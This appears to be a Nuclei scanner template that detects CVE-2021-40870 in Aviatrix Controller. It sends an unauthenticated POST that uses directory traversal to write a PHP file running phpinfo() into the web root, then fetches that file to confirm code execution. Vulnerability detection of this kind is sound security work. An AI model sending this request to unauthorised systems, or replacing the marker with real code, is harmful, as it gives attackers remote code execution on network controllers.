id: CVE-2021-40870

info:
  name: Aviatrix Controller 6.x before 6.5-1804.1922. RCE
  author: pikpikcu
  severity: critical
  description: Aviatrix Controller 6.x before 6.5-1804.1922. Unrestricted upload of a file with a dangerous type is possible, which allows an unauthenticated user to execute arbitrary code via directory traversal.
  reference:
    - https://wearetradecraft.com/advisories/tc-2021-0002/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40870
  tags: cve,cve2021,rce,aviatrix
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-40870
    cwe-id: CWE-434

requests:
  - raw:
      - |
        POST /v1/backend1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{{randstr}}.php&data=HACKERMAN<?php phpinfo()?>

      - |
        GET /v1/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'HACKERMAN'
          - "PHP Extension"
          - "PHP Version"
        condition: and